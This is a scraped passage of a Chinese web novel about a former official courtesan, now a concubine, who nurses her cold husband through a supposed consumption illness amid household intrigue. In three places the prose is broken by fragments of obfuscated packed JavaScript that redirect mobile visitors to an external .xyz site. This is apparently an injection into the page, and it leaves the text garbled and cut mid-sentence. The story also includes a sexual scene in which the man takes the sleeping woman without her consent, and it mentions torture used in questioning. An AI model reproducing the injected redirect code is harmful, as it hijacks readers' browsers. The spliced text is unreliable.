她神色慌乱,伸手指着丫鬟,紧蹙着眉冷声道,“这丫鬟之前打碎我的玉簪子,我斥责她几句,她便记恨妾身,一直想要跑去别的院子里。” “如今她在听雨阁做事,想必又记恨上五姨娘,才下毒于她。妾身管教不周,让她离了春熙斋后依旧不懂尊卑,是妾身之错,愿受大人责罚。” 四姨娘面色诚恳,一副愿代下人受罪的慷慨模样。 她话语不停,一旁的丫鬟却面色如常,没有丝毫慌乱。 四姨娘未注意丫鬟的面色,仍跪在地上,不断忏悔,说她身为主子对下人疏于管教,才酿成祸事。 见大人只摩挲茶杯没有责怪的意思,四姨娘越说越有底气。 直到身后脚步声响起,素来服侍她的两个嬷嬷满身是血地跪在地上,四姨娘才面色一凝。 守在一旁的管家看向男人,得了他的准许后,上前勒令嬷嬷说出实情。 一个嬷嬷狼狈地跪在地上,先是看了眼面前神色淡漠的男人,复又看了眼死死盯着自己的四姨娘,她紧咬着牙,迎着四姨娘震惊的目光,说出了实情。 过去她只在春熙斋做事,虽知晓大人不留情面手段强硬,但也不曾真地见识过。 被押去内狱前,她还想着绝不认罪,可等被各种刑具折磨一通后,她只觉皮 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管家站在原地,望了眼男人远去的背影,看向一旁的侍卫,习以为常地吩咐,“把人都拖下去,夜色已深,找个没人的地方动刑,以免惊扰别院的主子。” 几人跪在地上,闻言纷纷变了脸色,瘫坐在地。 听雨阁。 已经入了夜,知晓大人不会来,徐可心早早入寝,想着明日再去送点心给大人,只是不知道大人会不会见她。 她忧虑此事,辗转反侧良久,才堪堪入睡。 不知何时,忽得房门被推开。 沉稳的脚步声走进,越靠越近,最后停在床前。 半梦半醒之际,徐可心只觉自己的胸口格外沉闷,好似鬼压床一般,任由她怎么翻身都无法挣脱。 直到异物侵入,她才费力抬眼,却见数日未见的男人此时坐在她身前,攥着她的腿弯,眼神淡漠,饶是被发现了,也没有心虚的意思。 四目对视,男人直接没有征兆地进到最深处。 身子骤然被塞满,徐可心无意识躬身,攥紧身旁的被子,良久才堪堪接纳。 她忍着不适,费力问,“大人为何深夜前来?” 林远舟勾着她的腿弯,没有回应,而是俯下身吻上她的侧颈,微凉的唇贴在颈侧,徐可心微微偏头,下意识环抱住男人的脖颈。 细密的吻从颈侧移至脸颊,修长的手指钳着她的脖颈,也不断上移,攥住她的下颌。 眼见快吻至唇角时,男人忽得停了下来。 徐可心不解抬眸,看向对方,轻声唤了一声大人。 男人起身,双臂撑在她的身侧,垂眸注视她。 过了良久,徐可心才听到他问,“可否受了委屈?” 好似是关心的话,但语气淡漠,听不出暖意。 徐可心疑心自己听错了,犹豫良久,才小声道,“没有。” 她仍同以往那般乖顺,本以为大人也会同过去那般宽心。 可不知是不是她看错了,在她回答后,男人周身的气息莫名冷了下去。 好似并不满意她的回答…… 17. 18章 徐可心捡起地上的点心,在书房外面站了良久,也未等到男人的传唤。 心上的不甘一点点褪去,徐可心怔愣良久,才接受对方不愿见她的事实。 一直在门外等到黄昏,她才低垂头脑,攥着食盒离开书房。 回去的路上,徐可心只觉一块大石头堵在心口上,压得她难以喘息,心上无力,脚步也格外虚浮,失魂落魄地回了听雨阁。 “阿姐,太医说,喝完这碗汤药后,你体内的余毒就彻底解了。” 她方一走进屋内,小妹就端着汤药走了进来。 徐可心坐在桌前,垂眸盯着桌面,仍想着侍卫方才的话。 直到徐念安在耳边唤了几声阿姐,徐可心才些许回神,轻声道,“放下吧。” 她语气失落,徐念安放下汤碗,坐在她身侧迟疑问,“阿姐,是发生什么事情了吗?” 听出她话里的关心,徐可心微微摇头,勉强露出一个笑容,接过汤碗。 她眼下有心事,拿药碗时也心不在焉的,里面的汤药散落些许,溅湿她的衣袖。 药汤余热未尽,烫得她眉头紧蹙,她连忙拿出帕子,擦拭手上的药汤。 徐念安双臂交叠搭在桌子上,无声看了她半晌,忽得开口,“阿姐,你不会方才被林叔斥责了?” 徐可心擦拭的动作一顿,又很快回神,轻声道,“没有。” “没有你为何闷闷不乐的?”徐念安鼓着腮帮子,轻轻扯着她的袖子,一脸不解道。 徐可心轻轻叹了口气,服用余下的汤碗,没有过多解释,唤她去练琴。 徐念安还想追问,但见她面色不好,到嘴边的话又咽了下去。 一整天未见面,入夜后,徐可心沐浴后不舍得睡,坐在桌前捧着温热的茶杯,想着大人说不定会来听雨阁。 可直到深夜,杯中茶水彻底凉了,她也未等到那人。 入寝前,她盯着虚空,辗转反侧良久也无法入睡。 之后数日,徐可心也未再见到他。 大人不让她去书房,徐可心白日见不到他,心上也不自觉惦念他,但她每日久居深宅,也寻不到什么理由去见大人,只能在院中等他。 可无论怎么等,都寻不到他的半个身影。 这半月大人不来听雨阁,她独自一人早早入睡,不用担心睡过头,白日很早醒来,前去正院请安。 入了堂内,心不在焉地坐在角落,她想去书房见大人,可又怕大人不想见她。 身上的咬痕淡了很多,徐可心隔着袖子抚摸手臂上的咬痕,莫名地希望这痕迹能长久保留,不要彻底痊愈。 过去她追在二公子身后时,每每二公子嫌恶她,不想见她,她也只能躲在院子里,捧着那块玉佩,希望二公子有一日能接纳她。 可后来这人不仅退婚,连玉佩也一并收了回去,未留给她一点念想。 京城权贵小姐都笑她是痴女,不顾首辅千金的体面,一门心思扑在林家二公子身上。 徐可心面上窘迫,但又不知如何反驳。 她在那时就不清楚,到底如何才能讨得二公子的喜欢,如今在大人面前,她依旧猜不透大人的心思。 徐可心攥着手臂,隔着袖子不断按揉手臂的咬痕。 只有再次感受到上面传来的痛意,她才能确认,大人那夜的确来过,只是如今舍弃了她,不想见她。 她像只无人愿意收留的流浪狗,不受昭明喜欢,被他嫌恶,现在又被大人厌烦。 徐可心低垂脑袋,正纠结午后到底要不要去书房求得大人的原谅时,堂外传来脚步声。 二姨娘安静步入正堂,走至自己的位置坐下,端起茶杯饮用。 她抬眸看了一眼二姨娘,又看向自己身旁的空位。 四姨娘今日仍未来请安,前几日小妹告诉她,四姨娘被罚禁足。 过去夫人处罚四姨娘时,她都求大人解了她的禁足,这次她被大人责罚,只能留在春熙斋,哪里也去不得。 大人知晓四姨娘给她下毒,但徐可心不确定,大人是否因为她处罚四姨娘。 徐可心本就不确定她在大人心中的地位,眼下大人不愿见她,她更加不知晓,大人是否真的在意她。 堂内安静无声,三姨娘迟迟未到。 良久后,方要过了请安的时辰,三姨娘才姗姗来迟。 未等夫人询问,她先走上前,主动向夫人告罪。 “夫人,妾身今日本想早些前来请安,谁成想昨夜大人宿在妾身那里,妾身这才耽搁了。” “白日醒来时,大人见妾身身子乏累,免了妾身的请安。可妾身一心惦念着夫人,不敢偷懒。” 调笑的话在堂内不紧不慢响起,话里满是歉意,可字里行间透着不加掩饰的得意。 她每说一句,徐可心周身的血液就冷凝一分,听到最后,她眸色怔然地盯着地面,良久无法回神。 大夫人面色不变,没有多说,只让她落座。 从正堂回去时,徐可心垂着脑袋走在路上,只觉浑身疲惫至极,好似被冷水浇在身上,被迫清醒。 原来大人去了三姨娘院中…… 暮夏已过,方入秋,地上的落叶窸窸窣窣划动,徒增几分萧瑟。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559186|171343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 之后数日,徐可心依旧未等到那人。 天色渐冷,寒意透骨。 听雨阁方住进人,木窗也不严实,入夜寒风侵入屋内,令人不得安睡,徐可心每夜难以入寝,白日醒来时,问小妹冷不冷。 分明身体瑟缩不停,练琴时也不断轻挠手背,但小妹只说不冷。 恐小妹的手再生冻疮,也怕她受寒生病,徐可心犹豫良久,命小厮前去正院,想求夫人派几个人手过来,修缮窗墙。 她本以为要费一番周折,但没想到正院很快派人过来,只用了半日,就修补好房屋。 木窗被堵上,复又糊了几层窗纸,当晚屋内的寒风就彻底消失。 秋风在外面呼啸吹着,屋内倒是格外安静。 只是屋内空荡,只有她一人。 徐可心数日未等到大人,心中也愈发思念,心口沉闷压抑,终日郁郁寡欢,人也憔悴些许。 白日请安时,她坐在堂内,还在纠结到底要不要去见大人时,丫鬟上前,说大人受寒生了重病,夫人眼下在房中照看大人,让几位姨娘先回去。 好端端的……怎么会忽然生病。 徐可心闻言心弦一紧,霎时起身,也顾不得侍卫那日的话,慌乱起身叫住丫鬟,让她带自己前去。 相比较她的震惊,二姨娘和三姨娘只坐在原地,垂着脑袋,没有任何反应。 徐可心眼下忧虑大人的身体,也未察觉到两人的异常。 大人常宿在书房旁的厢房内,徐可心过去时,却见大夫人站在外室,一道屏风隔绝视线,让人看不到里室的情景。 好似未料到她会过来,大夫人眼底露出一丝不解。 徐可心犹豫上前,说自己得知大人生了重病,想来探望。 大夫人站在原地,无声看了她半晌,不仅未赶她离开,反而同意让她进去。 徐可心得了首肯,忙不迭抬步想要进去,可方转过身就被大夫人叫住。 她不解转身,却见大夫人叹了口气,淡声道,“别怪我没提醒你,太医说大人所受伤寒非同一般,好似……” 她话音一顿,良久才道,“肺痨。” 话音刚落,徐可心的面色霎时苍白。 胸中气满,喘息不便……得此症者,每日饱受病痛折磨,咳嗽不止,只余下数年寿命,极易染病给身边人。 曾看到有关肺痨的记载在脑中浮现,徐可心只觉浑身血液冷凝。 方才两位姨娘的面色在眼前浮现,她霎时明白,为何她们二人得知大人染病后,没有一同跟来。 她未曾想过,大人会得此重病…… 18. 19章 “要探望的。”徐可心说完,快步向里室走去。 屏风后,男人面色苍白躺在床上,只过了数日,身子便消瘦脱骨,俨然不能看。 徐可心走到床边坐下,攥住他的手腕。 皮肤冰冷,不似以往那般温热。 大人的面色很冷,总是毫不在意的,不在意旁人,也不在意她,知晓她的依赖,却对她视而不见,缓慢凌迟。 徐可心握起男人的手,用脸颊贴着他的手心,贪恋他皮肤的余热,就算冰冷的也好。 男人忽得胸膛起伏,呼吸加快,徐可心眸色微怔,忙不迭抚上男人的心口,安抚轻拍。 男人低咳几声,依旧没有清醒的意思。 夫人说大人好似得了肺痨,徐可心知晓,她理应远离大人,不应靠得如此近,可她想亲自照顾大人,离得远了难以视疾,她也不想从大人身边离开。 大人本就生了重病,如今卧床不起,正是离不开人的时候,徐可心垂下眉眼,用帕子轻轻擦拭男人额头上的冷汗。 “五姨娘?你怎么在这里?” 外面传来脚步声,徐可心抬眼看去,却见管家戴着面巾,端着汤药走了进来。 “大人病得很重,恐染病给姨娘,姨娘快些离开罢。”管家放下药碗,话语不停催促。 徐可心不愿离开,向他解释,“我得了夫人的首肯。” “这……”管家话语一顿,迟疑地看她,好似要说什么,但看了眼床上的男人,最后也未说出口,只道,“姨娘不在乎被染病,便留下罢。” 他说完,起身上前,唤了几声大人无果后,管家叹了口气,端着汤药就要离开。 见他要走,徐可心不解提醒,“大人还未服用汤药。” 管家脚步一顿,压着声音道,“姨娘,大人眼下还未清醒,只能再等等了。” 徐可心看了眼昏睡不醒的男人,小声道,“放下汤碗罢,我留在这里照看大人,若汤药凉了,再命人更换。” 管家面色古怪地看了她一眼,未再说什么,“也好,劳烦姨娘在这里照看大人。”他放下药碗,退了出去,独留她一人留在厢房。 徐可心坐在床边,只攥着男人的手腕,不想同他分开。 临近亥时,天色暗淡。 男人依旧没有清醒的征兆,徐可心在床边坐了一天,也有些累了。 她伏在床边小憩,不舍得松开他的手腕,仍惦念着他还未服用汤药的事,过了片刻见大人仍没有醒来的征兆,才疲惫阖上眼皮,良久后意识混沌,沉沉睡去。 厢房外。 迟迟等不到大人醒来,管家端着汤药再次走进,却见男人已然清醒,半阖眉眼望着虚空。 五姨娘伏在床边,紧攥大人的手腕,饶是在梦中也睡不安稳,眉头微微蹙起,好似做了噩梦。 管家放轻步子,看了眼伏在床边的女人,无声等待男人的指示。 林远舟眸色平静,眼底没什么情绪。 管家拿不准大人的心思,见他一直未开口,小心试探道,“大人,入夜已深,小人送五姨娘离开?” 好似终于发觉身边人的存在,林远舟阖上眼皮,淡声道,“不必,明日不得令人进厢房。” 明日不得进厢房,今夜的去留就随她了。 明白了他的意思,待大人服用汤药后,管家端起汤碗离开,关门时放轻手脚,独留他们二人在厢房。 徐可心醒来时已是深夜,床上的男人依旧没有清醒的意思。 方睡醒,她的眸色还有些茫然,忽得想到什么,她慌乱抬手,确认男人还有气息后,她才松了口气。 坐在床边无声注视男人良久,她终于忍不住俯下身,伏在男人怀里小声道,“大人,你快些痊愈好不好?” 她才刚刚离开教坊司,寻得一个依靠,还未同大人有以后,就被人告知大人得了重病,可能没有几年寿命。 一切才刚有所好转,就急转直下。 徐可心不安地枕着男人的颈侧,忍不住哭了起来,泪水止不住留下,浸湿男人的衣衫。 “大人,妾身很害怕……若大人不在了,妾身也不活了。” 她身子颤抖不停,泪水贴着颈侧滑下,怕哭得声音太大打扰到他,徐可心压着喉咙的哽咽,伏在男人肩侧小声抽泣,好似死了丈夫的小寡妇,趴在丈夫的尸体上,难过得泪流不止。 外面寒风料峭,倒真有几分死了丈夫的伤感。 大人不在意她教坊司官妓的身份,她也不在意大人到底是否得了肺痨,只要大人不舍弃她,她就要一直留在大人身边。 徐可心哭了一整夜,在男人耳边断断续续低语,可惜一直得不到回应,最后累得躺在他身侧昏睡过去。 过了子时,哭声才堪堪停止,衣衫上的泪水也彻底干涸。 本沉睡不醒的男人撩开眼皮,无声注视躺在自己的身侧的人。 寡淡的草药香环绕在身侧,不似过去那般浓郁,但可能是许久未闻到的原因,他竟觉这香味比过去更难以忽视。 方才哭得那般难过,眼下眼睛红肿不堪,面色也极其憔悴。 林远舟无声看了她半晌,揽住她的腰,将她抱在怀里。 身子软,耳根子也软,倒真像是水做的。 白日徐可心醒来时,胸口沉闷不堪,整个人被紧紧环抱,有力的双臂横在她身前,温热的呼吸打在颈后。 她怔愣良久才回过神,不知晓大人是在何时醒来的,徐可心小心握住男人的手臂,想要挪开。 她方抬起些许,眼见要挪开,手臂忽得收紧,紧紧揽住她的腰,将她抱回怀里。 徐可心身子微僵,以为他醒来了,轻轻唤了一声大人,良久未得到回应。 男人的手臂横在她身前,她动弹不得,徐可心害怕吵到他,只安静枕着他的手臂,想等他醒来。 大人过去每每凌晨之前就醒来,但今日不知怎么回事,一直没有醒来的征兆。 徐可心醒了又睡,睡了又醒,直到午时,想着大人还未服用汤药,她才再次尝试挪开男人的手臂。 这次只用了些许力气就挪开了。 徐可心松了口气,下床去寻丫鬟,让她们准备汤药过来。 过了半晌,丫鬟头戴面巾,端着一碗汤药走进。 徐可心方要接过,丫鬟犹豫片刻,迟疑道,“五姨娘,管家说了,等下太医会前来为大人医治,不宜被打扰,劳烦姨娘先回听雨阁。” 徐可心抬起的手一顿,回头看了躺在床上的男人一眼,虽不舍得离开,但也不想留在这里误事。 她犹豫半晌,告诉丫鬟,等大人醒来前去听雨阁知会她,才依依不舍离了厢房。 恐小妹被自己染上病气,她回去后有意躲着徐念安,让她在房中练琴,自己则去小厨房准备药膳。 大人的身子太消瘦了,徐可心守在瓦罐前,心上惦念大人的身子,脸上也没有多少笑意。 未等得到丫鬟的传唤,她就端着药膳前去厢房。 昨日得了夫人的命令,她也少了顾虑,不必担心会被正院的下人赶走。 书房。 她刚走到厢房前,却见门前多了两个侍卫,两人手持长刀守在门前。 见她过来,侍卫抬手拦在她身前,“姨娘,大人重病,闲杂人等不得入内。” 分明昨日还无人阻拦,今日却派人守在外面,徐可心面色一凝,慌乱道,“大人的病情加重了?” “姨娘多虑了,只是大人需要清净,不想被人打扰。”侍卫平静解释。 知道大人无事,徐可心松了口气,看向侍卫,“可否帮我送进去?这是我刚熬好的药膳,生津止渴……” 未等她说完,侍卫先道,“有太医为大人诊治,姨娘还是把这药膳带回去罢。” 徐可心端着食盒,在门前站了片刻,才缓缓点头。 的确如侍卫所言,太医会为大人诊治,她做的药膳终归比不上太医开的方子。 但既然已经做了,无人食用也可惜,徐可心看了眼天色,知晓两个侍卫要换班,她端起食盒轻声道,“你们守在大人门外劳累多时,这药膳便送给你们了。” 两个侍卫彼此对视一眼,见她面色诚恳,这次没有再推脱,接了过去。 “谢过姨娘了。” 徐可心又交代他们几句,才挪着步子离开。 临近午时,门前的侍卫换班。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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徐可心端着食盒,温声解释,“我准备了雪梨银耳汤,想进去送给大人。” “姨娘,不是已经说过了吗?大人病重,每日过口的东西都应经过太医的手。” “大人不会食用你送来的东西,姨娘还是请回罢。” 同昨日侍卫一样的话,徐可心抿着唇,恳求道,“我不送东西,只见一面大人可以吗?” 管家戴着面巾,直白道,“姨娘又非太医,进去也对大人的病情无益。” 徐可心攥着食盒,垂眸摩挲指尖,良久才轻轻嗯了一声。 “我知道了。” 见她听劝,管家抬步就要离开,可未等他走出半步远,就听身后传来轻语,“这食盒交给你们罢,有劳二位了。” 管家脚步一顿,转过身却见五姨娘将食盒送给两个侍卫,让他们当作午膳。 几乎瞬间,管家明白昨日那个食盒为何会出现在房内,之后又被大人命令倒掉。 原是大人…… 徐可心正要将食盒交给侍卫,身后传来急促的脚步声。 本来要离开的管家去而复返,先一步夺过她手中的食盒,迎着她不解的目光,讪笑道,“还是交给我罢,等下我代姨娘转交给大人。” 知道可以送到大人手里,徐可心哪里有拒绝的道理,连忙点头说好。 待她走后,管家擦了擦额头的冷汗。 他端着食盒小心走进厢房,隔着屏风斟酌着话,试探道,“大人,五姨娘方才送来了药膳,可否留下?” 屋内安静无声,过了半晌里面传来男人的话,“扔了。” 得了男人的命令后,管家才放心命丫鬟拿去倒掉。 书院外。 徐可心离开厢房后,还不舍得走,正想着如何寻个理由去见大人时,却见一个丫鬟端着她的食盒走了出来。 她下意识上前,拦住丫鬟的去路。 “五姨娘。” 丫鬟向她行礼,不解看她。 徐可心犹豫半晌,才轻声问,“大人服用药膳后,可还喜欢?” 丫鬟闻言,直接道,“这食盒未拆开,奴婢也不知道大人是否喜欢。” 徐可心眸色微怔,却听她继续道,“大人命人扔掉这食盒,想必是不喜欢的罢。” 丫鬟说完,见她良久未在开口,微微行礼,“若姨娘无事的话,奴婢先走了。” 她说完,向厨房走去,独留徐可心一人面色苍白地站在原地。 19. 20章 徐可心站在原地,良久没有回神。 书院内,几个身影人走人过,唯独没有她的位置,可能只是汤的味道不合他的心意,大人才会命人倒掉…… 徐可心在心里劝解自己,好受些许后,才拖着步子回了听雨阁。 可准备的药膳被倒掉,她独自一人时,怎么也无法排解心中苦闷。 隔天。 不知道大人想不想见到她,徐可心未敢进入厢房,捧着食盒在书房外徘徊,几次路过石拱门都未踏入。 “五姨娘?” 徐可心垂着眉眼,忽得听到呼喊,她抬眸看去,却见管家迈步上前,不解问,“你怎么又来了?” 管家看了眼她手中的食盒,了然道,“又是送给大人的?” 徐可心方要点头,说想见大人一面,可对上管家无奈的目光,她不自觉想起昨日丫鬟的话,心上也不自觉生出几分怯意。 “我只是路过……” 她随口编了一个借口,抱着食盒快步走远,脚步凌乱不说,背影也格外狼狈。 管家到嘴边的劝解又咽了回去。 临近申时,日头垂落。 早就过了午膳的时间,快要用晚膳。 想起她方才在院外徘徊忐忑的模样,想必今日还未入厢房,管家看了眼她远去的背影,端着汤药走入院中。 恰逢两个丫鬟来送晚膳,放下食盒后,一一拿出里面的饭菜。 大人坐在桌前,手执筷著,良久未动。 管家放下汤药,见状试探道,“大人,饭菜不合口味?” 男人也未回他,端起汤药抿了一口,复又放下,语气没什么起伏问: “仍是那副方子?” 管家连忙道,“仍是那副,赵太医特意为大人准备的药方,说是服用后可以安心宁神,生津止渴。” “生津止渴。”男人意味不明地念了一遍。 “是,里面据说是放了玉竹甘草。”管家解释。 林远舟漫不经心地嗯了一声,未再说什么,放下药碗没有再服用,起身向里室走去。 管家看了眼余下的半碗汤药,忙不迭道,“大人,这药?” “味苦色黄,命人再换一副清甜的方子。”他头也不回道。 原是不喜药的苦味,可已经服用数日,为何才感到苦?而且大人也不是嗜甜之人,过去也从未嫌弃药苦,怎么突然要换副清甜的药方。 管家心上不解,但还是端着药碗退了下去。 太医领了命令,又写了几副安神的方子,换着法子熬制汤药,但他品尝后,不是太苦就是太腥,怎么都不合心意。 病本来就未彻底痊愈,加上这几日鲜少按时服用汤药,这日用午膳时,林远舟放下药碗,忽得咳出血来。 管家站在一旁,面色霎时一白,忙命丫鬟去唤太医过来。 他急匆匆向外走,没有留神门外,猝不及防同人撞在一起。 “哎呦——” 管家稳住身子,却见素日未见的五姨娘站在门外,怀中抱着食盒。 见是她,管家连忙扯住徐可心的手臂,“姨娘,大人头疾发作,我去正院寻夫人,劳烦姨娘照顾大人。” 管家说完,也顾不上她答不答应,慌乱跑走。 知晓大人病重,徐可心也慌了神,快步走进,却见男人坐在桌前,用帕子捂口,低咳不停。 绵白的帕子被殷红鲜血浸染,徐可心放下食盒,连忙扶住他的身体,“大人……” 未等她说什么,男人直接靠在她怀里,埋首在她颈侧,口中流出的血尽数落在她的衣裙上。 徐可心站在他身侧,紧紧环着他的肩膀,不断用帕子擦拭他唇角的鲜血,眸中满是担忧,没有丝毫躲避嫌恶,也未因他得了肺痨就要远离。 大夫人闻讯赶来时,却见她的夫君靠在妾室怀里,全身压在她的身上,面上是不曾向旁人表露的信任。 连她也未见过大人这般亲近一个人的模样。 大夫人先是看向男人口中溢出的血,又看了眼徐可心满是担忧没有半分嫌恶的面色,忽觉眼前一幕格外刺眼。 她头戴面巾,方要抬步走进,男人忽得低咳几声,吐出来的血染脏徐可心的衣衫,大夫人脚步一顿,驻足在门前,目光落在男人唇边的鲜血上,终究没有上前。 她莫名期待这人眼中露出嫌恶的神色,可一无所获。 太医急忙忙上前,为他诊治。 徐可心担忧他的身子,不愿离开,只站在屏风后,紧攥手心。 直到太医说没有大碍,只是吐出体内淤血后,徐可心才稍稍松了口气。 管家也松了口气,见她仍站在一旁,提议道,“姨娘,眼下大人无事,不如你先离开罢,以免染上病气。” 徐可心微微摇头,直接道,“我不走。” 她走上前,坐在床边紧攥男人的手腕,头也不回道,“大人未赶我离开,我想陪在大人身边。” “这……”管家迟疑片刻,见她面色执着,到嘴边的话又停在口中。 眼下大人病发,的确要人照顾,夫人乃至几位姨娘都躲着大人,丫鬟心上害怕,做事也不尽心,看来看去,的确没人比五姨娘更适合陪在大人身侧。 左右大人还未清醒,管家索性任由她去了,未再劝阻,离了厢房。 徐可心坐在床边,目光落在男人没有血色的脸上,眼睛忽得酸胀。 知晓大人命人扔了她准备的药膳,她心上受挫在房中躲了几日,但入夜睡不安稳仍惦念他的病,纠结良久终于忍不住跑来见大人,没想到碰到这人病发。 她俯身为男人整理被子,望着他苍白的面色,泪水倏地流下。 她年少时跑来府中寻昭明时,碰到过大人几次。 当时他是吏部侍郎,备受陛下重用,可人格外冷漠。 面色冷,性情也冷。 但每每从她身侧经过时,徐可心都能闻到他身上的冷香。 大人的目光从未在她的身上停留过,她当时听过大人手段狠毒的名声,也很怕他,每每入了林府都躲着大人走。 两人不曾说过一句话,她和昭明的婚事也是她求来的。她惦念昭明幼时无心的承诺,求父亲帮她去林家求亲。 父亲贪恋权势,几次未中意上门提亲官员的家世,得知她有心上人,父亲命母亲看管她,让她不得离府与外男见面。 可在得知对方是林大人家的公子后,父亲又准她与其来往,还主动派人去林家求亲…… 父亲失势后,她本以为自己不会再嫁入林家,没想到却成了大人的妾室。 她见过大人过去运筹帷幄受人敬畏的模样,眼下见大人因病卧床,心上愁绪满盈也不好受,想大人快快好起来。 她在房中守了一夜,每每男人咳血时,她的心都下意识揪紧,轻抚男人的后背,眼中满是害怕和忧虑,紧张地盯着他。 太医说大人体内有淤血,咳出来即可,不必忧虑,徐可心听完,总认为太医在骗她。 哪里有吐血治病的道理?但她不懂医术,只希望大人能早些停止咳血。 男人躺在床上,无意识低咳,血蓄在口中,徐可心恐他呛到,坐在床前,微微抬高他的身子让男人枕在她的身上。 她揽着男人的身子,守了一整夜。 直到凌晨,男人才不再咳血,埋首在她的腰腹上。 见他沉沉睡去,徐可心终于松了口气,紧绷的心弦慢慢松开。 她在床前坐了一夜,临到天亮才阖上眼皮。 再醒来时,大人依旧枕在她的腿上,桌前还放着一个还未拿走的空药碗。 她眸色怔愣片刻,垂眸看向男人,不知晓大人在何时醒来的,又在何时睡去。 还未洗漱,衣服上也满是血迹。 她小心推开男人的身子,站起来的瞬间,双腿酸胀发麻,好似有蚂蚁啃噬。 她扶着桌案微微蹙眉,良久才缓和些,放轻步子想要离开。 屋内安静无声,她本以为房内只有她和大人,没想到绕过屏风时,却见大夫人坐在外室,手臂搭在桌案上,抬眸瞥了她一眼又收回目光。 徐可心微微行礼,轻声唤了一声夫人,向院外走去,等她清洗干净再回来时,大夫人已经离开了。 她坐在床前,命下人端来热水,想要帮大人擦拭身子。 小厮方端水进来,管家也一并跟了过来。 “姨娘,你这是要做什么?” 徐可心紧抿着唇,轻声解释,“我想为大人擦拭身子。” “姨娘,等下自然有人做此活计,眼下大人无事,你也早些离开罢。” “我想留在这里……”她说。 “这……”管家犹豫半晌,无奈道,“大人不愿见到姨娘,你留在这里,大人醒来后想必会不悦。” 徐可心话语一噎,垂在身侧的手不自觉抓紧被子。 她垂眸看向身侧的男人,仍不放心他的身子,挣扎道,“我只留在这里照顾大人,待大人身子痊愈后我就离开。” 管家面色迟疑,过了良久才轻轻叹了口气,没有再说什么。 徐可心见状,脸上露出一个真心实意的笑容,“不会久留,只等大人病好就会离开。” 她鲜少露出笑容,见惯了她满面愁容的模样,管家面色一怔。 大人白日时说命侍卫离开,他看了眼躺在床上的大人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559188|171343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也拿不准大人的心思,只能退了出去。 徐可心在床前侍奉,细致地擦拭男人的身子,之后一直守在男人身侧。 她每日前来,每每太医诊治时,她都回避。 过了将近半月,太医为大人医治,等她回来时,管家忽得拦住她。 徐可心眸色一怔,下意识道,“是大人醒来了吗?” 她眼底满是期待,管家轻啧一声,耐心解释,“不是,是太医诊治后发觉,大人未患肺痨,只是寻常风寒。 “咳血是旧疾余症,经过这半月调理,已彻底痊愈。” 徐可心怔愣片刻,眼底霎时露出喜色,“大人会一直陪在我身边了?” 管家轻咳一声,纠正道,“是姨娘可以陪在大人身边。” 知晓大人无事,她面上愁绪一扫而空,顾不得尊卑,绕过管家快步走进厢房。 也不管男人还未醒来,她直接俯身环住他的肩膀,埋首在他颈侧如释重负道,“大人的病好了,可以一直和大人在一起了。” 劳累担忧了数日,眼下心中的顾虑终于放下,她枕着男人的肩膀,躺在他怀里沉沉睡去。 晚膳时,管家进门,却见男人揽着五姨娘的腰,半阖眸子不知在想什么。 管家脚步一顿,又退了出去。 没过多久,大人未得肺痨只感染风寒的消息就传了出去。 四姨娘早就解了禁足,但知晓大人得了肺痨,不想被染病,只躲在院里不出来。 眼下得知大人无事,她忙不迭起身,前去探望,没想到还未等踏入书院,就被人拦了下来。 任由她怎么斥责,小厮都不让路。 四姨娘气不过,只能离开,可她还未走多远,就听见身后传来脚步声。 四姨娘转身看去,却见徐可心快步向院中走去,方才阻拦她的小厮像未看见她一般,直接让她进去了。 知晓她这段时日一直在书院伺候,四姨娘心中不禁怨恨,她怎么没有狐狸精的远见。 若她知晓大人未患肺痨,也早就来书院侍奉,哪里还有徐可心的位置。 见徐可心出入自如,四姨娘回去的路上越想越后悔,眼见路过正院,她脚步一顿,直接走了进去。 “夫人,你说大人的病才刚好,正是要修养的时候,她一直出入书房,岂不扰大人清净?” 四姨娘话语不停,在大夫人面前抱怨。 大夫人垂着眉眼,攥着手中的念珠,淡声道,“五姨娘每日侍奉大人,得大人喜欢也不足为奇。” “是这个道理,可……”忽得想到什么,四姨娘话音已转,又道,“夫人,大人此番痊愈,乃是列祖列宗在天之灵,保大人无事,和她徐可心有什么关系。” “不过既然她如此在乎大人,不如让她去道观祈福怎样,也算代大人答谢各位仙长。” 四姨娘越说越觉得在理,只要徐可心走了,她就可以前去侍奉。 思及此,她方要劝说大夫人应下,没想到大夫人听了她的提议,只思索片刻就答应了。 四姨娘霎时笑了起来,“夫人,有五姨娘前去祈福,大人想必也会喜悦。” 大夫人端着茶杯,意味不明地嗯了一声,也未再理会她,只让她退下。 隔天,徐可心早早醒来,正要前去书房时,还未等走出院落,迎面撞上两个嬷嬷,说夫人命她去道观祈福。 徐可心仍想去照顾大人,但又不敢违背夫人的命令,知晓大人眼下痊愈,她犹豫片刻答应下来。 书房。 从凌晨到午后,眼见半天过去,素来早早跑来的女人却不见了踪影。 屋内,男人只坐在床边,垂眸注视手中的公文,面色平静,不见丝毫病态。 管家端着药汤见来,见大人坐在床边迟迟未休息,不知道他是否在等五姨娘,管家犹豫良久,才迟疑道: “大人,白日传来消息说,夫人命五姨娘前去道观祈福,之后一段日子都不会再来了。” 话音刚落,男人面无表情看了过来,眼中情绪意味不明。 